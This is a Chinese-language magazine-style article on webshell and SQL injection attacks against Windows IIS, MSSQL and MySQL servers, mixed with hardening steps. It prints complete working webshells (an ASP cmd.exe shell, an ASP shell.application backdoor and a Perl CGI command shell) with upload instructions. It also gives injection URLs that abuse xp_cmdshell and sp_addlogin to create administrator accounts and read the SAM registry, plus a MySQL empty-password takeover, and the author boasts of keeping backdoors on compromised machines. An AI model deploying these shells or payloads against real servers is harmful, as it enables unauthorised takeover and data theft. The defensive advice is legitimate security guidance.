MSSQL注入攻擊服務器與防護

文章被髮表在黑客防線第5期,是幾個人合寫的喲
慘的是竟然沒有寫我的名字,唯一想說的一句是fuck 黑防!

WinNT系統下權限設置與黑客的較量
前言:在各種網絡上的服務器上,只要黑客能成功入侵不同配置的服務器,都會得到一定的權限,比較GUEST或SYSTEM權限等,但這些權限都是由於服務器管理員的配置不當或缺少管理經驗而讓黑客成功入侵的,只要我們給服務器上各種危險的組件及命令都加上一定的權限設置,那麼就會得到最大的安全。下面我們來介紹一下NT系統下權限與黑客的較量,當然的的NT服務器不能是FAT32分區的,你的NT服務器必須採用NTFS分區,因爲只有NTFS才能給你的服務器重要文件設置權限,如果是FAT32分區的,那就沒有安全性可言了,以下介紹一些入侵防範實例大家就會知道設置權限的重要性了。
隨着網絡的高速發展,現在朋友們都裝上了寬帶網,做虛擬主機生意的提供商生意當然也越來越好了,做網站的朋友也比往年多了起來,但是現在的黑客們卻喜歡上了在虛擬主機提供商的空間裏放上一個webshell,以取得服務器的管理權,這是讓服務器的管理員最頭痛的事。黑客們通過各種 webshell 可以在服務器裏運行CMD命令,還可以複製、刪除文件,在線編輯文件,建立超級用戶等。Webshell(也叫網頁木馬)在這裏分很多種,如ASP、CGI、PHP、JSP的webshell都有,現在還流行 SQL 注入的xp_cmdshell等,都屬於webshell中的其中一種,現在我們首先介紹的是黑客們稱作爲網頁木馬的各種webshell的攻擊與防範方法。同時用這最簡單的安全設置方法還能防範網絡上的大部份溢出攻擊等,如著名的 IDQ、IDA、WEBDAV 及RPC溢出……,都能讓黑客取得你服務器的管理權,但是你通過這小小的安全配置,黑客們的溢出攻擊你就不用再怕了。就算不打補丁也是安全的,相信嗎?不信?請看下文!
攻擊與防範方法其實都是非常的簡單,所以一般熟悉網頁製作、還懂點CMD命令的朋友們都能學會的,在我看來沒有太大的技術性可言,難度等級(初級)就是人人都可以學會的啦,但這份教程卻能作爲各WEB網站服務器管理員不管你是有多年的服務器管理經驗還是新手,這份教程都能作爲你最爲有效防範WEBSHELL攻擊及溢出攻擊的方法參考資料。
一、基本ASP的WEBSHELL攻擊與防範
以下我們以實例講解ASP的三種Webshell攻擊與防範方法(並提供webshell源代碼):
例一、種使用腳本綁定CMD命令:
這是一種使用腳本綁定CMD命令的攻擊方法,其實asp的webshell並不止這一種,後面還會有介紹另外兩種的 webshell攻擊與防範方法。只要黑客在你的服務器上放上了這種 webshell ,你又沒有適當的防範方法,那麼你的服務器就會慘遭毒手,成了黑客們的肉雞了。一般遭此毒手的服務器都是虛擬主機提供商的服務器,也有屬於個人或公司的服務器,黑客是怎麼樣把這個 webshell傳到你的服務器的呢?如果是傳到虛擬主機提供商的WEB空間的,一般都是虛擬主機提供商的客戶自己傳的^_^,因爲虛擬上機提供商的客戶本身就擁有上傳軟件的權限,並擁有 http 服務的瀏覽地址。客戶使用這種 webshell目的一般只想看看自己租用的服務器空間上存放了些什麼文件或通過這個webshell 盜竊服務器上的某些重要資料。個人或公司的服務器,黑客怎麼把這個 webshell傳到服務器空間上的呢?呵呵,一般是通過服務器上某個如論壇、下載系統的腳本漏洞,通過這些漏洞取得在WWW上80端口上傳文件的權限或通過某些漏洞使用TFTP服務把這個webshell傳到你的服務器上的,由於我們這裏只講解這些 webshell是怎麼樣攻擊的,所以並不提及到怎麼樣才能把這個 webshell傳到服務器的空間上,本文假設你已經把這個 webshell傳到了服務器空間上,你並取得了 http 的瀏覽地址,只要服務器是支持 asp 的,你就能使用這個 webshell取得服務器系統的管理權了,這種後門非常隱蔽,就算你重裝了N次系統,打了N的的補丁也沒效,因爲這個漏洞是沒有補丁的^_^,只要這個 webshell 還存在,黑客找到這個 webshell的WWW瀏覽地址,你的服務器一樣會變成黑客的肉雞,所以危害性極大。
如下圖所示,我把一個文件名叫CMD.ASP的ASP腳本WEBSHELL文件傳到了一臺服務器IP爲192.168.0.18的服務器上,把這個文件放到了FTP根目錄裏的webshell文件夾下,我們就能使用http://192.168.0.18/webshell/cmd.asp 的地址訪問這個 webshell 了,我們可以在那個空白的表單裏輸入所有的CMD命令,如dir c:/ 等命令,如果你想在這臺服務器裏建立一個超用戶,可以輸入兩行命令,第一行輸入 net user netpk hacker /add 然後點擊執行CMD命令按鈕,就建立了一個普通用戶netpk ,再輸入第二行命令, net localgroup administrators netpk /add 這樣就把剛纔建立的普通用戶 netpk 加入了超級用戶管理級 administrators 組了,通過這些,我們可以確定這個webshell 有執行所有的CMD命令權限,你想幹什麼,不用我教你了吧,呵呵^_^。

下面附上這個 cmd.asp 腳本的源代碼:
執行命令:<br>
<%
Dim oScript
Dim oScriptnet
Dim oFileSys, oFile
Dim szCMD,szTempFile
szCMD=request.form(".cmd")
'從輸入框得到cmd
On Error Resume Next
'如果出現錯誤,直接跳過,防止彈出錯誤窗口
set oScript=server.createobject("WSCRIPT.SHELL")
'建立shell(wshshell)對象
set oFileSys=server.createobject("scripting.filesystemobject")
szTempFile="C:/"& oFileSys.GetTempName()
'GetTempName()是fso建立臨時文件的一種方法
Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)
'調用wshshell函數的run來執行命令,並把它重定向到臨時文件夾中
set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
'以讀的方式打開臨時文件
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="執行CMD命令" class=input>
</FORM>
<PRE>
<%
On Error Resume Next
response.write server.HTMLEncode(oFile.ReadAll)
'輸出編碼後的文件內容
oFile.close
'關閉文件
call oFileSys.DeleteFile(szTempFile,True)
'防止被抓住所以刪除文件
%>
</body>
</html>

你只要把上面的代碼寫在記事本里,保存擴展名爲 .ASP ,再傳到你的虛擬主機空間就可以運行了。這種綁定CMD命令的腳本攻擊防範方法有好幾種,其實你如果要防範這種攻擊,你只要把ASP中的FSO(Scripting.FileSystemObject)功能刪除就行了,刪除FSO權限方法就是在CMD的命令提示符下輸入以下命令:
Regsvr32 /u c:/winnt/system32/scrrun.dll
注意:在實際操作的時候要更改成爲你本地系統安裝目錄的實際路徑,但是使用這種方法刪除也太絕了一點,如果以後我們想使用FSO權限,那就用不了啦。所以建議不要使用這種方法刪除FSO權限,
但是,顯而易見,如果這樣做,那麼包括站點系統管理員在內的任何人都將不可以使用FileSystemObject對象了,這其實並不是站點管理人員想要得到的結果,畢竟我們使用這個對象可以實現方便的在線站臺管理,如果連繫統管理員都沒法使用了,那可就得不償失了,但是不禁止這個危險的對象又會給自己的站點帶來安全漏洞。那麼有沒有兩全其美的方法呢?有!具體方法如下:
  我們可以做到禁止其他人非法使用FileSystemObject對象,但是我們自己仍然可以使用這個對象.
  方法如下:
  查找註冊表中
  HKEY_CLASSES_ROOT/Scripting.FileSystemObject 鍵值
  將其更改成爲你想要的字符串(右鍵-->"重命名"),比如更改成爲
   HKEY_CLASSES_ROOT/Scripting.FileSystemObject2
  這樣,在ASP就必須這樣引用這個對象了:
   Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
  而不能使用:
  Set fso = CreateObject("Scripting.FileSystemObject")
  如果你使用通常的方法來調用FileSystemObject對象就會無法使用了。
  呵呵,只要你不告訴別人這個更改過的對象名稱,其他人是無法使用FileSystemObject對象的。這樣,作爲站點管理者我們就杜絕了他人非法使用FileSystemObject對象,而我們自己仍然可以使用這個對象來方便的實現網站在線管理等等功能了!
但這樣做還是有一定的危害性的,因爲這樣配置的方法並不是十分的完善。只是簡單地解決了FSO調用CMD命令和一些簡單的ASP木馬腳本,要知道WEBSHELL並不是只有ASP的一種,如CGI、PHP、JSP等都存在這樣的WEBSHELL,如果你的服務器同時配置了支持CGI、PHP、JSP等,那可就慘了,因爲如CGI等這些WEBSHELL是不須要FSO支持就能實現WEBSHELL的。所以你還得向下看,以下還有一些值得大家注意的WEBSHELL。
其實還有更簡單實用的方法能防範這種使用ASP腳本綁定CMD命令的webshell,配置防範方法只須要30秒就行了,防範方法等介紹完了CGI、PHP、JSP等WEBSHELL再說,因爲只要一種防範方法,就能防止這些腳本攻擊及溢出攻擊等,在最後我們介紹的防範方法對我們提及到的所有能綁定CMD的WEBSHELL都是能絕對能有效防範的。

例二、使用FSO權限對文件管理的WEBSHELL攻擊與防範方法
以下我們介紹的是海陽頂端asp木馬,這種WEBSHELL能通過網頁在線更改、編輯、刪除、移動、上傳、下載服務器上的任意文件,只要黑客給你的服務器傳上這個ASP木馬,你的服務器上的所有文件就會控制在黑客的手上,黑客能在你的服務器幹什麼?就是上面提及到的。更改、刪除、移動……
如下圖所示:


看到這個圖,你也能想像到你的服務器到最後會變得怎麼樣了,你服務器上的資料將沒有隱私可言了,想黑你服務器上的主頁或是刪除你服務器上的文件都是點幾下鼠標就能辦到的了。這種ASP木馬網絡上各黑客網站均有下載,源代碼就不便寫出來了。
防範方法:和例一的一樣,這裏不再重述。
後語:那是不是對於ASP的WEBSHELL就是關了FSO對像或給FSO在註冊表裏改名就行了呢?事實並不是這樣的,因爲ASP木馬中還有一種是不需要FSO對像支持的,功能雖然並不是很強大,但是要黑一個網站的站,功能已經是很足夠的了,這種木馬令人防不勝防。以下請看例三。

例三:免FSO對像就能使用的ASP木馬
對於這種免FSO對像就能使用的ASP木馬,由於少了FSO對像的支持,功能上當然不會很強大的了,只有瀏覽服務器上的文件目錄,複製、移動文件、執行指定路徑的程序文件等功能。值得注意的是現在的虛擬主機提供商的虛擬主機大多數都還存在這個漏洞,看來這個漏洞那些服務器網管們是非得好好維護一下才行了。以下是當你瀏覽這個ASP木馬時,所出現的圖例。就連黑客基地的服務器也存在相同的漏洞。經本人測試結果,只要使用WEHSHELL就能很容易地取得黑客基地的管理權,但人家說我是黑基的副站長,所以就不幹這事了。(編輯同志,我寫的黑基這段話你可以刪除的哈,因爲黑基的服務器並不安全,草民就曾經進去幫他們參觀過了。只是我一直沒有心情通知那些吹牛B,自己的服務器都維護不好,還要收費教人家安全維護服務器的牛人。至於現在黑基還有沒有存在這些漏洞我就不知道了,因爲沒心情幫他們測試了。)


你可以通過這個免FSO支持的ASP木馬對服務器上的文件進行任意的複製及移動和執行程序,這個木馬程的功能隨然簡單,但是用它來黑一個網站就是已經足夠的了。比如,我們可以把網站的首頁移動到其它地方,然後我們再複製一個同名的黑客網頁進去就行了。使用執行程序功能讓服務器執行任意的木馬程序以取得服務器的ADMIN管理權等。
以下我給出這個免FSO對像的ASP源代碼,代碼如下:
<%response.write "<font size=6 color=red>一次只能執行一個操作:)</font>" %>
<%response.write now()%><BR>程序所在的物理路徑:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp's shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 輸入要瀏覽的目錄<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路徑:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=發送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") '目錄瀏覽
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell對象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") '目錄拷貝,不能進行文件拷貝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell對象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="/" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "/"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") '目錄移動
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell對象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="/" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "/"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") '執行程序要指定路徑
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell對象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>

你只要把上面的代碼寫在記事本里,保存擴展名爲 .ASP ,再傳到你的虛擬主機空間就可以運行了。
防範免FSO支持的ASP木馬方法如下:
通過上面的代碼,我們可以看出這段代碼的SHELL是通過shell.application 建立 shell 對像的,我們只要在註冊表裏查找鍵值shell.application和 wscript.shell 鍵值,然後把這些鍵值刪除,就能防止這一類的ASP木馬攻擊了,刪除這些鍵值對你的服務器及ASP支持等不會造成影響的,所以請放心刪除。

二、構建免受 FSO 威脅虛擬主機
現在絕大多數的虛擬主機都禁用了 ASP 的標準組件:FileSystemObject,因爲這個組件爲 ASP 提供了強大的文件系統訪問能力,可以對服務器硬盤上的任何文件進行讀、寫、複製、刪除、改名等操作(當然,這是指在使用默認設置的 Windows NT / 2000 下才能做到)。但是禁止此組件後,引起的後果就是所有利用這個組件的 ASP 將無法運行,無法滿足客戶的需求。
  如何既允許 FileSystemObject 組件,又不影響服務器的安全性(即:不同虛擬主機用戶之間不能使用該組件讀寫別人的文件)呢?這裏介紹本人在實驗中獲得的一種方法,下文以 Windows 2000 Server 爲例來說明。
  在服務器上打開資源管理器,用鼠標右鍵點擊各個硬盤分區或卷的盤符,在彈出菜單中選擇“屬性”,選擇“安全”選項卡,此時就可以看到有哪些帳號可以訪問這個分區(卷)及訪問權限。默認安裝後,出現的是“Everyone”具有完全控制的權限。點“添加”,將“Administrators”、“Backup Operators”、“Power Users”、“Users”等幾個組添加進去,並給予“完全控制”或相應的權限,注意,不要給“Guests”組、“IUSR_機器名”這幾個帳號任何權限。然後將“Everyone”組從列表中刪除,這樣,就只有授權的組和用戶才能訪問此硬盤分區了,而 ASP 執行時,是以“IUSR_機器名”的身份訪問硬盤的,這裏沒給該用戶帳號權限,ASP 也就不能讀寫硬盤上的文件了。
  下面要做的就是給每個虛擬主機用戶設置一個單獨的用戶帳號,然後再給每個帳號分配一個允許其完全控制的目錄。
  如下圖所示,打開“計算機管理”→“本地用戶和組”→“用戶”,在右欄中點擊鼠標右鍵,在彈出的菜單中選擇“新用戶”:

在彈出的“新用戶”對話框中根據實際需要輸入“用戶名”、“全名”、“描述”、“密碼”、“確認密碼”,並將“用戶下次登錄時須更改密碼”前的對號去掉,選中“用戶不能更改密碼”和“密碼永不過期”。本例是給第一虛擬主機的用戶建立一個匿名訪問 Internet 信息服務的內置帳號“IUSR_VHOST1”,即:所有客戶端使用 http://xxx.xxx.xxxx/ 訪問此虛擬主機時,都是以這個身份來訪問的。輸入完成後點“創建”即可。可以根據實際需要,創建多個用戶,創建完畢後點“關閉”:

現在新建立的用戶已經出現在帳號列表中了,在列表中雙擊該帳號,以便進一步進行設置:

在彈出的“IUSR_VHOST1”(即剛纔創建的新帳號)屬性對話框中點“隸屬於”選項卡:

剛建立的帳號默認是屬於“Users”組,選中該組,點“刪除”:

  現在出現的是如下圖所示,此時再點“添加”:

在彈出的“選擇 組”對話框中找到“Guests”,點“添加”,此組就會出現在下方的文本框中,然後點“確定”:

  出現的就是如下圖所示的內容,點“確定”關閉此對話框:

  打開“Internet 信息服務”,開始對虛擬主機進行設置,本例中的以對“第一虛擬主機”設置爲例進行說明,右擊該主機名,在彈出的菜單中選擇“屬性”:

  彈出一個“第一虛擬主機 屬性”的對話框,從對話框中可以看到該虛擬主機用戶的使用的是“F:/VHOST1”這個文件夾:

  暫時先不管剛纔的“第一虛擬主機 屬性”對話框,切換到“資源管理器”,找到“F:/VHOST1”這個文件夾,右擊,選“屬性”→“安全”選項卡,此時可以看到該文件夾的默認安全設置是“Everyone”完全控制(視不同情況顯示的內容不完全一樣),首先將最將下的“允許將來自父系的可繼承權限傳播給該對象”前面的對號去掉:

此時會彈出如下圖所示的“安全”警告,點“刪除”:

  此時安全選項卡中的所有組和用戶都將被清空(如果沒有清空,請使用“刪除”將其清空),然後點“添加”按鈕。

  將如圖中所示的“Administrator”及在前面所創建的新帳號“IUSR_VHOST1”添加進來,將給予完全控制的權限,還可以根據實際需要添加其他組或用戶,但一定不要將“Guests”組、“IUSR_機器名”這些匿名訪問的帳號添加上去!

  再切換到前面打開的“第一虛擬主機 屬性”的對話框,打開“目錄安全性”選項卡,點匿名訪問和驗證控制的“編輯”:

  在彈出的“驗證方法”對方框(如下圖所示),點“編輯”:

  彈出了“匿名用戶帳號”,默認的就是“IUSR_機器名”,點“瀏覽”:

  在“選擇 用戶”對話框中找到前面創建的新帳號“IUSR_VHOST1”,雙擊:

  此時匿名用戶名就改過來了,在密碼框中輸入前面創建時,爲該帳號設置的密碼:

  再確定一遍密碼:

  OK,完成了,點確定關閉這些對話框。
  經此設置後,“第一虛擬主機”的用戶,使用 ASP 的 FileSystemObject 組件也只能訪問自己的目錄:F:/VHOST1 下的內容,當試圖訪問其他內容時,會出現諸如“沒有權限”、“硬盤未準備好”、“500 服務器內部錯誤”等出錯提示了。
  另:如果該用戶需要讀取硬盤的分區容量及硬盤的序列號,那這樣的設置將使其無法讀取。如果要允許其讀取這些和整個分區有關的內容,請右鍵點擊該硬盤的分區(卷),選擇“屬性”→“安全”,將這個用戶的帳號添加到列表中,並至少給予“讀取”權限。由於該卷下的子目錄都已經設置爲“禁止將來自父系的可繼承權限傳播給該對象”,所以不會影響下面的子目錄的權限設置。

三、基於CGI、PHP、JSP的WEBSHELL及溢出攻擊與防範
CGI、PHP、JSP腳本也能綁定CMD命令,但基本CGI的WEBSHELL功能權限與防範方法是不是都是一樣的呢?答案是他們的WEBSHELL權限幾本相同,大同小異,但防範的黑客使用腳本給你綁定CMD命令的方法卻是完全不同的,因爲別的語言腳本中要綁定CMD命令根本不需要FSO等對像的支持,所以就算你關了FSO對像,再在註冊表裏刪除上面ASP的WEBSHELL中例三中的shell.application和 wscript.shell 鍵值,也不能防範這些腳本的WEBSHELL。
由於ASP、CGI、PHP、JSP通過腳本綁定CMD命令的方法都是大同小異的了,都能用一種很簡單的方法就能完全防範這類的攻擊,在此例中,我會把一種30秒內就能完成安全配置,讓任何的腳本程序都沒法通過遠程調用你的CMD命令,以達到完全防範腳本綁定CMD的目的。WEBSHELL的攻擊方法我們在這裏就作一個最後舉例。
下面舉例:CGI的WEBSHELL攻擊與防範
如下圖所示,只要黑客把一個CMD.CGI的WEBSHELL傳到你的服務器,那麼黑客就能在你的服務器裏調用CMD命令,並能運行你服務器裏的所有CMD命令,如建立超級用戶等,下圖是使用這個CMD.CGI的WEBSHELL運行DIR C:/命令。如果黑客在你的服務器上傳了這個東東,呵呵,你可是欲哭沒淚了。

即使你重裝了N次服務器的系統,打了N多的補丁,沒用,只要你沒刪除這個WEBSHELL,黑客知道這個WEBSHELL的WWW的瀏覽地址,隨時能把你的機器當肉雞使用。我以前入侵的肉雞就是在對方的虛擬主機目錄下留下了這個東東,我把他叫不死後門吧,只要對方管理員不刪除這個WEBSHELL,那麼他的服務器永遠是我的肉雞,因爲這個東東殺毒軟件查不出來的哈。
下面給出這個CMD.CGI的代碼(網絡上也有很多黑客站提供下載的):

use CGI qw(:standard);
print header(-charset=>gb2312);
$cmd=param("cmd");
$out=`$cmd 2>&1`;
print start_form,textfield("cmd",$cmd,60);
print end_form;
print pre($out);

上面就是這個WEBSHELL的代碼,還有一些PHP和JSP等的WEBSHELL,這裏就不再作介紹了,因爲攻擊與防範的方法大同小異,通過上面這些例子,我們看出這幾個 webshell 都是調用了NT系統下的 cmd.exe 命令來執行命令的,只要我們對NT系統下的 cmd.exe 文件設置一定的權限,呵呵,那麼黑客的這些WEBSHELL都將沒用武之地了。爲了安全起見,我們還要對如 net.exe cacls.exe telnet.exe tftp.exe tftp.exe format.com mountvol.exe mshta.exe等危險的命令作出權限設置。因爲這些危險的文件默認的情況下都是允許來賓以上權限的用戶訪問及執行的,只有爲這些文件設置了權限,這樣才能確保真正的安全。這些危險的文件默認的情況下,都是存放在 C:/WINNT/SYSTEM32 的目錄下的。設置權限的方法如下圖所示,清除原來的所有其它用戶訪問這些命令的權限,然後只設置允許你正在使用的超級用戶擁有使用這些命令的權限,比如說你正在使用的超級用戶名是 administrator 那麼,你就在權限設置裏只允許用戶名爲 administrator 的用戶使用這些命令。


通過上面這些簡單的設置,就能讓那些綁定你服務器裏的CMD命令的WEBSHELL全部失效,夠簡單吧。:)而且還能防止你的服務器在遭到黑客的溢出攻擊成功後綁定CMD命令登陸你的服務器,道理很簡單,比如目前流先的WEBDAV溢出,這些溢出攻擊就是黑客通過溢出你的服務器後綁定你服務器裏的CMD命令,然後TELNET登陸你的服務器,取得你服務器上的系統管理權的,但一般黑客溢出成功後,都是隻能擁用SYSTEM權限綁定你服務器的CMD命令的,而你已經把CMD命令設置了禁止SYSTEM權限訪問,只能使用你設置的唯一一個你正在使用的超級用戶名去訪問CMD命令。所以就算黑客成功溢出後,都不能綁定你的CMD命令,那麼黑客就登陸不了你的服務器,你的服務器就是安全的了。
但這隻能是相對的安全,因爲有些溢出攻擊黑客能直接把反向連接的木馬文件傳到你的服務器上,並能運行哦。呵呵,如最近出現的Serv-U溢出,如果你的FTP服務器使用了Serv-U的話,你又沒有打上最新的安全補丁,讓黑客溢出成功了,那麼黑客可以不綁定你的CMD命令登陸你的服務器,而是給你服務器傳一個反向連接的木馬後門,這種反向連接的後門是通過你的服務器向黑客的機器連接,而黑客只要在自己的機器監聽,只要你的服務器中了這種後門,那麼就算你的服務器安裝了防火牆,並屏蔽了所有不使用的端口,黑客不能正向與你的服務器聯接木馬後門,但黑客給你傳一個反向連接的木馬,這個木馬是通過你的服務器連接黑客的機器的,只要你的服務器向黑客的機器發出連接請求,黑客就能取得你服務器的控制權,而這種反向木馬攻擊可以完全不依賴於NT系統下的CMD。可以反向連接木馬的危害性。
那麼我們如果防止這一類的反向木馬攻擊呢?方法很簡單,那就是安裝一個具有防止反向連接木馬的防火牆,如天網及BlackICE防火牆等。都是具有防止反向連接功能的,因爲這些防火牆都有應用程序訪問網絡權限設置功能。服務器上的任何一個程序要訪問網絡,都會彈出一個警告窗口,必須要服務器的管理員同意允許該應用程序訪問網絡後,這些程序才能訪問網絡,這項功能正好用於防範反向木馬。下面舉一個例子,如你的服務器安裝了天網防火牆,如黑客成功溢出了你的Serv-U服務器,並給你傳了一個反向連接的後門木馬,這個後門木馬在你的服務器的 C:/MM.EXE ,黑客所在IP地址是 192.168.0.18 ,現在黑客要對你服務器的這個反向連接木馬進行連接,只要黑客在你服務器上運行了這個反向木馬,那麼你的天網防火牆就會彈出一個警告窗口,如下圖所示:


我們可以通過這個警告窗口看到黑客的真正IP地址及黑客使用這個反向木馬連接的端口,所使用的協議,還有這個反向連接木馬在你服務器的所在位置等信息,只要你點擊禁止按鈕,這個程序將不能連接黑客的機器,我相信你不會那麼笨,點擊允許這個後門連接黑客的機器吧,在你沒有點擊允許的情況下,這個後門是不會連接黑客的機器成功的。:)
通過這個例子,我們可以看出,只要我們給一些危險的命令如CMD等設置了權限,再安裝一個可以防止反向連接木馬的防火牆,那麼那些所謂的溢出攻擊將不能對你的服務器造成造害了。

四、MSSQL注入攻擊的防護(本文是本站成員alpha寫的)
Mssql注入攻擊是比較直接和危害比較大的一種攻擊方式,那些所謂的黑客們能夠利用它直接取得系統權限。今天我們就來看看如何通過系統設置防止這種攻擊:
首先要申明的是,並不是通過這個設置就能保證你的服務器的安全,安全是一個整體,然而整體又正是由這些部分構成的!
對策一:
僞黑客:
假設這個地方可以注入
http://localhost/bbs/news.asp?id=5
我們往往採取下面這種方法來攻擊
http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net user alpha /add’---

http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net loclagroup administrators alpha /add’---

好了,alpha已經是系統管理員了!
管理者:
如何防止呢?
看看他們是怎麼實現的,通過調用SQL裏的master裏的擴展存儲過程裏的xp_cmdshell,(如下圖),來執行系統指令!

我們只要點右鍵刪除這個擴展存儲,上面的攻擊方法便不起作用了!
當然你也可以用下面這句:
sp_dropextendedproc 'xp_cmdshell'
來刪除xp_cmdshell



對策二:
黑客對策,如果MSSQL數據庫裏xp_cmdshell擴展被刪掉了,不用怕,我們還有方法的喲!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addextendedproc xp_cmdshell @dllname=’xplog70.dll’;--
通過這樣一條我們就又把xp_cmdshell給恢復了。
管理者:靠,看來我們的設置還不夠徹底喲
好,在c盤裏直接搜索xplog70.dll
如圖

找到了,刪了它,好了,這個世界清靜了,至少那幫人不會直接執行系統指令了!!
對策三:
僞黑客:你以爲這樣就可以了嗎?你錯了喲,呵呵,我方法還是多多的喲!
只要你用的是sa賬戶,我就還有方法的喲
http://localhost/bbs/news.asp?id=5;exec xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY/SAM/Domains/Account', 'F'
看看,說不定我們就能得到管理員的密碼喲!
加一個啓動項什麼的自然不在話下。
管理者:
看來我得下狠的了,看我這樣,我把這些擴展都刪除了
Xp_regaddmultistring (向註冊表中增加項目)
Xp_regdeletekey (從註冊表中刪除一個鍵)
Xp_regdeletevalue (從註冊表中刪除一個鍵值)
Xp_regenumvalues (列舉主鍵下的鍵值)
Xp_regread (讀去一個主鍵下的鍵值)
Xp_regremovemultistring (從註冊表中刪除項目)
Xp_regwrite (向註冊表中寫入數據)
看你囂張,呵呵,想從註冊表裏面搞,沒門!
對策四:
僞黑客:
不讓搞註冊表就算了,我可以搞別的地方的喲!我加一個sql的管理員還不行嗎?
真是的!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addlogin alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_password null,alpha,alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addsrvrolemember sysadmin alpha;--
看看,說不定那天等xp_cmdshell能用了,我就又是管理員了呢!
管理者:
算了,我不跟你羅嗦了,我不用sa連接數據庫還不行?
我建一個權限低一點的賬戶,比如說建立一個名爲 bbs的數據庫
然後建一個 名爲bbs的賬戶

確定然後我們再去bbs的用戶下中設置一下:
給他分配一些基本的權限就可以了,

好了,如果用這個用戶來連接bbs數據庫,相對於用sa來說安全多了喲!
還有其他的很多很多的
比如:
刪除多餘的系統存儲過程
sp_bindsession sp_cursor sp_cursorclos sp_cursorfetch sp_cursoropen sp_cursoroption sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop sp_replcmds sp_replcounters sp_repldone sp_replflush sp_replstatus sp_repltrans sp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive
定期檢查用戶登錄情況
Use master
Select name,Password,Accdate
from syslogins
order by name

今天就說到這裏了!
其實MSSQL的注入攻擊防禦還有很多很多東西喲!
比如導出特殊文件,破解網站密碼,太多太多了,今天就簡單給大家介紹這些
甚至我要說,即使你按這個設置了,你的系統還是危險的,還是脆弱的!
要想得到更安全的配置請繼續關注服務器焦點喲!!!


五、簡單的MYSQL數據庫入侵防禦問題(本文由服務器焦點成員 lonely 寫的,有點爛)
在網絡上,很多系統(win2k、linux)都安裝了MYSQL數據庫。的確,這個數據庫非常受大家歡迎,但這麼受歡迎的數據庫安裝完畢有個漏洞—就是數據庫的ROOT的帳號密碼爲空,現在網絡上很多機器都有這類毛病。

  我曾經掃描了一個C類地址,竟發現數據庫Root密碼爲空的機器多達89臺,因爲MYSQL不象MSSQL數據庫那樣可以調用XP-Shell命令,所以很多人找到這樣的漏洞也不會利用。下面我就介紹一下,如何利用Win2k下Root密碼爲空的數據庫:

  如果你機器上安裝了MYSQL,就可用如下命令:#mysql -u root -h 192.168.0.1 連接成功後,看看服務器有什麼數據庫:mysql>show databases MYSQL默認安裝時會有MYSQL、TEST這兩個數據庫。 mysql>use test 進入test後,看看裏面有什麼數據:mysql>shows tables 那裏什麼也沒有,那麼我就在裏面建立一個新表:mysql>create table lonely (abc text) 這裏我創建了一個表名爲lonely、字段爲abc的表格。
  我們再寫一個增加Admin、密碼爲123的用戶的命令。如下:
mysql>insert into avalues ("setwshell=createobject ("" W S cript.shell"" )");
mysql>insert into avalues ("a=wshshell.run (""cmd.exe /c net Admin 123/add"",0)");
